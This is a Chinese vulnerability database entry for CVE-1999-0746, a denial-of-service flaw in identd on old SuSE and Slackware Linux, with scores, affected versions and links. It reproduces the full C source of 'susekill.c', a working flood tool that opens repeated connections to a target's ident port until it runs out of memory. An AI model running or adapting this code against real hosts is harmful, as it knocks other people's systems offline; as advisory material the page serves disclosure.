CVE-1999-0746
CVSS5.0
发布时间 :1999-08-16 00:00:00
修订时间 :2008-09-09 08:35:19
NMCOE    

[原文]A default configuration of in.identd in SuSE Linux waits 120 seconds between requests, allowing a remote attacker to conduct a denial of service.


[CNNVD]SuSE identd服务攻击拒绝漏洞(CNNVD-199908-027)

        SuSE Linux的in.identd默认配置在请求间隔间等待120秒,远程攻击者利用该漏洞进行服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:slackware:slackware_linux:3.2
cpe:/o:suse:suse_linux:6.2SuSE SuSE Linux 6.2
cpe:/o:suse:suse_linux:4.4.1SuSE SuSE Linux 4.4.1
cpe:/o:slackware:slackware_linux:3.6
cpe:/o:suse:suse_linux:6.0SuSE SuSE Linux 6.0
cpe:/o:suse:suse_linux:4.4SuSE SuSE Linux 4.4
cpe:/o:suse:suse_linux:5.3SuSE SuSE Linux 5.3
cpe:/o:suse:suse_linux:5.1SuSE SuSE Linux 5.1
cpe:/o:suse:suse_linux:5.0SuSE SuSE Linux 5.0
cpe:/o:suse:suse_linux:6.1SuSE SuSE Linux 6.1
cpe:/o:suse:suse_linux:5.2SuSE SuSE Linux 5.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0746
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0746
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199908-027
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/587
(UNKNOWN)  BID  587

- 漏洞信息

SuSE identd服务攻击拒绝漏洞
中危 配置错误
1999-08-16 00:00:00 2005-05-02 00:00:00
远程※本地  
        SuSE Linux的in.identd默认配置在请求间隔间等待120秒,远程攻击者利用该漏洞进行服务拒绝。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19463)

S.u.S.E. Linux <= 6.2,Slackware Linux 3.2/3.6 identd Denial of Service (EDBID:19463)
linux remote
1999-08-16 Verified
0 friedolin
N/A [点击下载]
source: http://www.securityfocus.com/bid/587/info

In the inetd.conf under certain distributions of SuSE Linux the in.identd daemon is started with the -w -t120 option. This means that one identd process waits 120 seconds after answering the first request to answer the next request. If a malicious remote attacker starts a large number of ident requests in a short period of time it will force the target machine to start multiple daemons because the initial daemon is in a time wait state. This can eventually lead the machine to starve itself of memory resulting essentially in a machine halt.

/* susekill.c by friedolin
 * 
 * used to kill lame SuSE Linux boxes with identd running
 * identd must be started with -w -t120 to crash a machine
 *
 * have fun, friedolin <hendrik@scholz.net>
 *
 * based on gewse.c by napster
 */

/* Tested systems:
 *
 * vulnerable:
 *
 *  SuSE-Linux 4.4 - 6.2
 *  Slackware  3.2 and 3.6
 *
 * not vulnerable:
 *
 *  RedHat 5.0 - 6.0 
 *  Debian 2.0 - 2.1
 * 
 * not tested:
 *
 *  pre 4.3 SuSE systems
 *  pre 5.0 RedHat
 *  pre 2.0 Debian
 *  other Slackware releases
 *  Caldera Open Linux, ...
 *
 * please send me your results and experiences !
 * 
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>

#define GETIDENT "1027, 6667 : USERID : UNIX : killsuse"

int sockdesc;
int portkill;
int numkill;
int x;

void usage(char *progname)
{
  printf("susekill by friedolin (based on gewse.c)\n");
  printf("usage: %s <host> <# of connections>\n",progname);
  exit(69);
}

main(int argc, char *argv[])
{
    
 struct sockaddr_in sin;
 struct hostent *he;

 if (argc<3) usage(argv[0]);
  
 sin.sin_port = htons(113);
 sin.sin_family = AF_INET;
 
 he = gethostbyname(argv[1]);
 if (he) {
   sin.sin_family = AF_INET;
   sin.sin_port = htons(113);
   memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
 } else {
   perror("resolving");
 }

 numkill  = atoi(argv[2]);

 printf("Flooding %s [%s] identd %d times.\n", argv[1], inet_ntoa(sin.sin_addr.s_addr), numkill);
 printf("Killing");
 fflush(stdout);

 for (x=1;x<=numkill;x++) {

 sockdesc = socket(AF_INET, SOCK_STREAM, 0);

 if (sockdesc < 0) {
  perror("socket");
  exit(69);
 }
  
  if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
   perror("connect");
   exit(69);
  }

  printf(" .");
  fflush(stdout);
  (void) write(sockdesc, GETIDENT, strlen(GETIDENT));
 }

 printf("\n");

}
		

- 漏洞信息

459
SuSE Linux in.identd Request Saturation DoS
Remote / Network Access Denial of Service
Loss of Availability Upgrade
Exploit Public Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

1999-08-14 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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